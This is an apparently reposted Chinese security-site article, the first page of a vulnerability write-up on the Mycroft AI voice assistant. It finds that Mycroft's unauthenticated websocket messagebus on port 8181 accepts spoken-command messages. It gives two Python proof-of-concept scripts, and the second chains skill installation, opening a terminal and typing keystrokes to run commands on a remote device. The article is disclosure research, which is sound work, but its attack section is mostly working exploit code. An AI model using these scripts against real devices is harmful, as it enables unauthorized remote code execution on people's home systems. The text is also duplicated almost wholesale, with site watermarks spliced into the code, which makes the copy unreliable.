欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

智能语音应用Mycroft AI的远程代码执行漏洞分析

来源: 作者: 时间:2019-02-24 21:00 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助

当我在Arch Linux社区开源软件包的开发贡献过程中,发现了一个很有意思的项目-麦考夫Mycroft AI,它是一款开源且基于人工智能(AI)的语音助理应用,在对它的研究过程中,我发现了一个不用点击交互即可实现的远程代码执行漏洞(RCE)。
与业界有名的Amazon Echo和Google Home不同的是,Mycroft最早于2015年开始在海外网站发起众筹来批量生产其Mark-I 和 Mark-II 代产品,而3月份其Mark-II代产品上线4天后就被售罄脱销。Mycroft AI智能语音助理基于Linux Desktop/Server和Raspberry PI架构,现广泛用于智能自动化家居系统中,其新款应用将订制化应用于捷豹和路虎的某些车型中。
代码分析
在对Mycroft AI的源代码分析中,我发现了其中有意思的一个地方:
...
host = config.get("host")
port = config.get("port")
route = config.get("route")
validate_param(host, "websocket.host")
validate_param(port, "websocket.port")
validate_param(route, "websocket.route")
routes = [
        (route, WebsocketEventHandler)
]
application = web.Application(routes, **settings)
application.listen(port, host)
ioloop.IOLoop.instance().start()
...
在这里它定义了一个websocket服务端,用来接收类似于Andriod远程客户端的指令,在mycroft.conf中给出了websocket服务端设置的具体定义:
// The mycroft-core messagebus' websocket
  "websocket": {
    "host": "0.0.0.0",
    "port": 8181,
    "route": "/core",
    "ssl": false
},
从以上代码可知,在0.0.0.0:8181/core上默认的websocket服务端竟然无需任何身份验证,好吧,让我们写个脚本来测试一下:
#!/usr/bin/env python
import asyncio
import websockets
uri = "ws://myserver:8181/core"
command = "say pwned"
async def sendPayload():
    async with websockets.connect(uri) as websocket:
      
 await websocket.send("{\"data\": {\"utterances\": [\""+command+"\"]},
\"type\": \"recognizer_loop:utterance\", \"context\": null}")
asyncio.get_event_loop().run_until_complete(sendPayload())
很好,我们能让Mycroft AI自己说 “pwned”,这样,我们也能让Mycroft AI远程发声,但这也不算是什么大发现,最多也只能吓唬一下朋友而已。
Mycroft AI 的技能系统
深入挖掘之后,可以发现Mycroft内置了一个技能系统,可以在其基础上安装其它你想要的语音技能,听起来很好,不是吗?
那么,Mycroft的一种技能是由哪些元素组成的呢?从给出的说明文档可以看到,Mycroft的技能元素如下:
dialog/en-us/command.dialog: 包含了能触发技能的语音命令
vocab/en-us/answer.voc: 包含了Mycroft发声的答案
requirements.txt:  包含了由 pip 方式安装的技能所需安装包
__int__.py:包含了技能的主函数和触发执行时的需要加载的命令
利用分析
有了以上技能元素之后,我就可以创建一个恶意技能,当它被触发之后,就可以在远程Mycroft设备上来执行任意代码了。但遗憾的是,这样的方式并不能通过语音命令来实现,除非其技能链接URL未被一些在线网站白名单化。这虽然有可能,但多少有些麻烦。

测试实现
有了以上技能元素之后,我就可以创建一个恶意技能,当它被触发之后,就可以在远程Mycroft设备上来执行任意代码了。但遗憾的是,这样的方式并不能通过语音命令来实现,除非其技能链接URL是一些未被白名单化的在线网站。这虽然有可能,但执行起来多少有些麻烦。
Mycroft 内置了很多默认技能,如 open 这种能打开其它第三方应用的,还有一些经过白名单化但未被安装在Mycroft设备上的技能。通过再次研究,我发现了一个名为skill-autogui的有趣技能,它的主要功能是对鼠标键盘的控制,好吧,我们就用它来试试!把所有以上可利用的发现组合成一个PoC:
#!/usr/bin/env python
import sys
import asyncio
import websockets
import time
cmds = ["mute audio"] + sys.argv[1:]
uri = "ws://myserver:8181/core"
async def sendPayload():
    for payload in cmds:
        async with websockets.connect(uri) as websocket:
          
 await websocket.send("{\"data\": {\"utterances\": [\""+payload+"\"]},
\"type\": \"recognizer_loop:utterance\", \"context\": null}")
            time.sleep(1)
asyncio.get_event_loop().run_until_complete(sendPayload())
用 pwn.py “install autogui” “open xterm” “type echo pwned” “press enter” 命令运行exploit代码之后,就能在一台远程Mycroft设备的Linux系统上执行命令:

[1] [2]  下一页

当我在Arch Linux社区开源软件包的开发贡献过程中,发现了一个很有意思的项目-麦考夫Mycroft AI,它是一款开源且基于人工智能(AI)的语音助理应用,在对它的研究过程中,我发现了一个不用点击交互即可实现的远程代码执行漏洞(RCE)。
与业界有名的Amazon Echo和Google Home不同的是,Mycroft最早于2015年开始在海外网站发起众筹来批量生产其Mark-I 和 Mark-II 代产品,而3月份其Mark-II代产品上线4天后就被售罄脱销。Mycroft AI智能语音助理基于Linux Desktop/Server和Raspberry PI架构,现广泛用于智能自动化家居系统中,其新款应用将订制化应用于捷豹和路虎的某些车型中。
代码分析
在对Mycroft AI的源代码分析中,我发现了其中有意思的一个地方:
...
host = config.get("host")
port = config.get("port")
route = config.get("route")
validate_param(host, "websocket.host")
validate_param(port, "websocket.port")
validate_param(route, "websocket.route")
routes = [
        (route, WebsocketEventHandler) 内容来自无奈安全网
]
application = web.Application(routes, **settings)
application.listen(port, host)
ioloop.IOLoop.instance().start()
...
在这里它定义了一个websocket服务端,用来接收类似于Andriod远程客户端的指令,在mycroft.conf中给出了websocket服务端设置的具体定义:
// The mycroft-core messagebus' websocket
  "websocket": {
    "host": "0.0.0.0",
    "port": 8181,
    "route": "/core",
    "ssl": false
},
从以上代码可知,在0.0.0.0:8181/core上默认的websocket服务端竟然无需任何身份验证,好吧,让我们写个脚本来测试一下:
#!/usr/bin/env python
import asyncio
import websockets
uri = "ws://myserver:8181/core"
command = "say pwned"
async def sendPayload():
    async with websockets.connect(uri) as websocket:
      
 await websocket.send("{\"data\": {\"utterances\": [\""+command+"\"]},

本文来自无奈人生安全网


\"type\": \"recognizer_loop:utterance\", \"context\": null}")
asyncio.get_event_loop().run_until_complete(sendPayload())
很好,我们能让Mycroft AI自己说 “pwned”,这样,我们也能让Mycroft AI远程发声,但这也不算是什么大发现,最多也只能吓唬一下朋友而已。
Mycroft AI 的技能系统
深入挖掘之后,可以发现Mycroft内置了一个技能系统,可以在其基础上安装其它你想要的语音技能,听起来很好,不是吗?
那么,Mycroft的一种技能是由哪些元素组成的呢?从给出的说明文档可以看到,Mycroft的技能元素如下:
dialog/en-us/command.dialog: 包含了能触发技能的语音命令
vocab/en-us/answer.voc: 包含了Mycroft发声的答案
requirements.txt:  包含了由 pip 方式安装的技能所需安装包
__int__.py:包含了技能的主函数和触发执行时的需要加载的命令
利用分析
有了以上技能元素之后,我就可以创建一个恶意技能,当它被触发之后,就可以在远程Mycroft设备上来执行任意代码了。但遗憾的是,这样的方式并不能通过语音命令来实现,除非其技能链接URL未被一些在线网站白名单化。这虽然有可能,但多少有些麻烦。 www.wnhack.com

测试实现
有了以上技能元素之后,我就可以创建一个恶意技能,当它被触发之后,就可以在远程Mycroft设备上来执行任意代码了。但遗憾的是,这样的方式并不能通过语音命令来实现,除非其技能链接URL是一些未被白名单化的在线网站。这虽然有可能,但执行起来多少有些麻烦。
Mycroft 内置了很多默认技能,如 open 这种能打开其它第三方应用的,还有一些经过白名单化但未被安装在Mycroft设备上的技能。通过再次研究,我发现了一个名为skill-autogui的有趣技能,它的主要功能是对鼠标键盘的控制,好吧,我们就用它来试试!把所有以上可利用的发现组合成一个PoC:
#!/usr/bin/env python
import sys
import asyncio
import websockets
import time
cmds = ["mute audio"] + sys.argv[1:]
uri = "ws://myserver:8181/core"
async def sendPayload():
    for payload in cmds:
        async with websockets.connect(uri) as websocket:

无奈人生安全网


          
 await websocket.send("{\"data\": {\"utterances\": [\""+payload+"\"]},
\"type\": \"recognizer_loop:utterance\", \"context\": null}")
            time.sleep(1)
asyncio.get_event_loop().run_until_complete(sendPayload())
用 pwn.py “install autogui” “open xterm” “type echo pwned” “press enter” 命令运行exploit代码之后,就能在一台远程Mycroft设备的Linux系统上执行命令:
无奈人生安全网

[1] [2]  下一页

无奈人生安全网

。 (责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。